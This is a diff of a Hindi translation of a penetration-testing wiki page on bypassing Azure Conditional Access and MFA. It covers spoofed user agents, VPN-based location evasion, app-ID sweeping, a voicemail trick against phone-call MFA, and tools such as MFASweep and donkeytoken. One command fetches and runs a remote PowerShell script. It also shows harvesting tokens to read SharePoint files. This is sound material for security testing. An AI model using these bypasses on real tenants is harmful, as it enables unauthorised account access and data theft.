प्रमाणीकरण (MFA) की आवश्यकता हो। उदाहरण के लिए, यदि किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है। +1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, जिसमें मल्टी-फैक्टर ऑथेंटिकेशन (MFA) की आवश्यकता हो सकती है। उदाहरण के लिए, यदि किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है। 2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों के लिए Azure सेवाओं तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं। ## Enumeration @@ -22,32 +22,32 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona ``` ## Conditional Acces Policies Bypasses -यह संभव है कि एक conditional access policy **कुछ जानकारी की जांच कर रही हो जिसे आसानी से छेड़ा जा सकता है जिससे नीति का बायपास किया जा सके**। और यदि उदाहरण के लिए नीति MFA को कॉन्फ़िगर कर रही थी, तो हमलावर इसे बायपास करने में सक्षम होगा। +यह संभव है कि एक conditional access policy **कुछ जानकारी की जांच कर रही हो जिसे आसानी से छेड़ा जा सकता है जिससे नीति को बायपास किया जा सके**। और यदि उदाहरण के लिए नीति MFA को कॉन्फ़िगर कर रही थी, तो हमलावर इसे बायपास करने में सक्षम होगा। एक conditional access policy को कॉन्फ़िगर करते समय **प्रभावित उपयोगकर्ताओं** और **लक्षित संसाधनों** (जैसे सभी क्लाउड ऐप) को इंगित करना आवश्यक है। यह भी आवश्यक है कि **शर्तें** कॉन्फ़िगर की जाएं जो नीति को **प्रेरित** करें: - **नेटवर्क**: आईपी, आईपी रेंज और भौगोलिक स्थान -- एक देश से कनेक्ट करने के लिए VPN या Proxy का उपयोग करके या एक अनुमत आईपी पते से लॉगिन करने में सक्षम होना +- इसे एक VPN या प्रॉक्सी का उपयोग करके एक देश से कनेक्ट करने या एक अनुमत आईपी पते से लॉगिन करने में बायपास किया जा सकता है - **Microsoft जोखिम**: उपयोगकर्ता जोखिम, साइन-इन जोखिम, अंदरूनी जोखिम -- **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows phone, Windows, macOS, Linux का चयन करें -- यदि "कोई भी डिवाइस" चयनित नहीं है लेकिन सभी अन्य विकल्प चयनित हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है -- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "Exchange ActiveSync क्लाइंट" और "अन्य क्लाइंट" -- एक न चुने गए विकल्प के साथ लॉगिन को बायपास करने के लिए +- **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows फोन, Windows, macOS, Linux चुनें +- यदि "कोई भी डिवाइस" चयनित नहीं है लेकिन सभी अन्य विकल्प चयनित हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले एक यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है +- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "Exchange ActiveSync क्लाइंट" और अन्य क्लाइंट" +- एक न चुने गए विकल्प के साथ लॉगिन बायपास करने के लिए - **डिवाइस के लिए फ़िल्टर**: उपयोग किए गए डिवाइस से संबंधित एक नियम उत्पन्न करना संभव है - **प्रमाणन प्रवाह**: विकल्प हैं "डिवाइस कोड प्रवाह" और "प्रमाणन स्थानांतरण" -- यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश न कर रहा हो +- यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश नहीं कर रहा हो संभावित **परिणाम** हैं: ब्लॉक या एक्सेस प्रदान करें जिसमें संभावित शर्तें जैसे MFA की आवश्यकता, डिवाइस का अनुपालन होना शामिल हैं… ### Device Platforms - Device Condition -यह **डिवाइस प्लेटफार्म** (Android, iOS, Windows, macOS...) के आधार पर एक शर्त सेट करना संभव है, हालाँकि, यह **उपयोगकर्ता-एजेंट** पर आधारित है इसलिए इसे बायपास करना आसान है। यहां तक कि **सभी विकल्पों को MFA लागू करने के लिए**, यदि आप एक **उपयोगकर्ता-एजेंट का उपयोग करते हैं जिसे पहचाना नहीं गया है,** तो आप MFA या ब्लॉक को बायपास करने में सक्षम होंगे: +यह **डिवाइस प्लेटफार्म** (Android, iOS, Windows, macOS...) के आधार पर एक शर्त सेट करना संभव है, हालाँकि, यह **उपयोगकर्ता-एजेंट** पर आधारित है इसलिए इसे बायपास करना आसान है। यहां तक कि **सभी विकल्पों को MFA लागू करने के बावजूद**, यदि आप एक **उपयोगकर्ता-एजेंट का उपयोग करते हैं जिसे पहचाना नहीं गया है,** तो आप MFA या ब्लॉक को बायपास करने में सक्षम होंगे:
-बस ब्राउज़र को **एक अज्ञात उपयोगकर्ता-एजेंट भेजने** (जैसे `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) के लिए पर्याप्त है कि यह शर्त सक्रिय न हो।\ +बस ब्राउज़र को **एक अज्ञात उपयोगकर्ता-एजेंट भेजने** के लिए (जैसे `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) इस शर्त को सक्रिय नहीं करने के लिए पर्याप्त है।\ आप डेवलपर टूल में उपयोगकर्ता एजेंट को **हाथ से** बदल सकते हैं:
@@ -56,18 +56,18 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona ### Locations: Countries, IP ranges - Device Condition -यदि यह conditional policy में सेट किया गया है, तो एक हमलावर बस **अनुमत देश** में एक **VPN** का उपयोग कर सकता है या इन शर्तों को बायपास करने के लिए **अनुमत आईपी पते** से पहुंचने का एक तरीका खोज सकता है। +यदि यह conditional policy में सेट किया गया है, तो एक हमलावर बस **अनुमत देश** में एक **VPN** का उपयोग कर सकता है या इन शर्तों को बायपास करने के लिए एक **अनुमत आईपी पते** से पहुंचने का तरीका खोज सकता है। ### Cloud Apps -यह संभव है कि **विशिष्ट ऐप** तक पहुँचने का प्रयास करते समय **conditional access policies को ब्लॉक या मजबूर** करने के लिए MFA को कॉन्फ़िगर किया जाए: +यह संभव है कि **विशिष्ट ऐप** तक पहुँचने का प्रयास करते समय MFA को ब्लॉक या मजबूर करने के लिए **conditional access policies** को कॉन्फ़िगर किया जाए:
-इस सुरक्षा को बायपास करने का प्रयास करने के लिए आपको देखना चाहिए कि क्या आप **किसी भी एप्लिकेशन में केवल लॉगिन कर सकते हैं**।\ +इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **किसी भी एप्लिकेशन में केवल लॉगिन कर सकते हैं**।\ उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **कई एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने का प्रयास करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा। -विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने** के लिए आप एक उपकरण का उपयोग कर सकते हैं जैसे: +विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप एक उपकरण का उपयोग कर सकते हैं जैसे: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout @@ -86,7 +86,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 एक Azure MFA विकल्प है **कॉन्फ़िगर किए गए फोन नंबर पर कॉल प्राप्त करना** जहां उपयोगकर्ता से **चर `#` भेजने** के लिए कहा जाएगा। > [!CAUTION] -> चरों के रूप में केवल **स्वर** होते हैं, एक हमलावर **फोन नंबर** के **वॉइसमेल** संदेश को **समझौता** कर सकता है, संदेश के रूप में **`#` का स्वर** कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि **शिकार का फोन व्यस्त है** (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए। +> चरों के रूप में केवल **स्वर** होते हैं, एक हमलावर **फोन नंबर** के **वॉइसमेल** संदेश को **समझौता** कर सकता है, संदेश के रूप में **`#` का स्वर** कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि **पीड़ित का फोन व्यस्त है** (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए। ### अनुपालन उपकरण @@ -105,7 +105,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken इस प्रकार के हमले के बारे में अधिक जानकारी निम्नलिखित पृष्ठ पर प्राप्त करें: {{#ref}} -../../az-lateral-movement-cloud-on-prem/pass-the-prt.md +../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} ## उपकरण @@ -124,14 +124,14 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः सिंगल फैक्टर रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है। +MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः एकल कारक के रूप में रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है। ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -यह उपकरण MFA बायपास की पहचान करने और फिर कई उत्पादन AAD टेनेन्ट्स में APIs का दुरुपयोग करने में मदद करता है, जहाँ AAD ग्राहक मानते थे कि उनके पास MFA लागू है, लेकिन ROPC आधारित प्रमाणीकरण सफल रहा। +यह उपकरण MFA बायपास की पहचान करने में मदद करता है और फिर कई उत्पादन AAD टेनेन्ट्स में APIs का दुरुपयोग करता है, जहाँ AAD ग्राहक मानते थे कि उनके पास MFA लागू है, लेकिन ROPC आधारित प्रमाणीकरण सफल हुआ। > [!TIP] > आपको सभी अनुप्रयोगों की सूची बनाने के लिए अनुमतियाँ होनी चाहिए ताकि आप ब्रूट-फोर्स करने के लिए अनुप्रयोगों की सूची उत्पन्न कर सकें। @@ -143,7 +143,7 @@ Invoke-MFASweep -Username -Password ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token एक सेट फ़ंक्शंस का है जिसका उद्देश्य सुरक्षा सलाहकारों की मदद करना है जिन्हें Conditional Access Policies को मान्य करने, 2FA-सक्षम Microsoft पोर्टल्स के लिए परीक्षण करने आदि की आवश्यकता होती है। +Donkey token एक सेट है फ़ंक्शंस का जो सुरक्षा सलाहकारों की मदद करने के लिए है जिन्हें Conditional Access Policies को मान्य करने, 2FA-सक्षम Microsoft पोर्टल्स के लिए परीक्षण करने आदि की आवश्यकता होती है। 
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
@@ -156,12 +156,12 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
 $cred = New-Object System.Management.Automation.PSCredential($username, $password)
 Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
 ```
-क्योंकि **Azure** **पोर्टल** **सीमित** नहीं है, इसलिए **पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था**। इस मामले में Sharepoint की पहचान की गई, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया:
+क्योंकि **Azure** **पोर्टल** **सीमित** नहीं है, इसलिए **पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था**। इस मामले में Sharepoint की पहचान की गई थी, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया है:
 ```bash
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token
 ```
-मान लीजिए कि टोकन के पास Sites.Read.All (Sharepoint से) की अनुमति है, भले ही आप MFA के कारण वेब से Sharepoint तक पहुँच नहीं पा रहे हैं, फिर भी आप उत्पन्न टोकन के साथ फ़ाइलों तक पहुँचने के लिए टोकन का उपयोग कर सकते हैं:
+मान लीजिए कि टोकन में Sites.Read.All (Sharepoint से) की अनुमति है, भले ही आप MFA के कारण वेब से Sharepoint तक पहुँच नहीं पा रहे हैं, फिर भी आप उत्पन्न टोकन के साथ फ़ाइलों तक पहुँचने के लिए टोकन का उपयोग कर सकते हैं:
 ```bash
 $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
 ```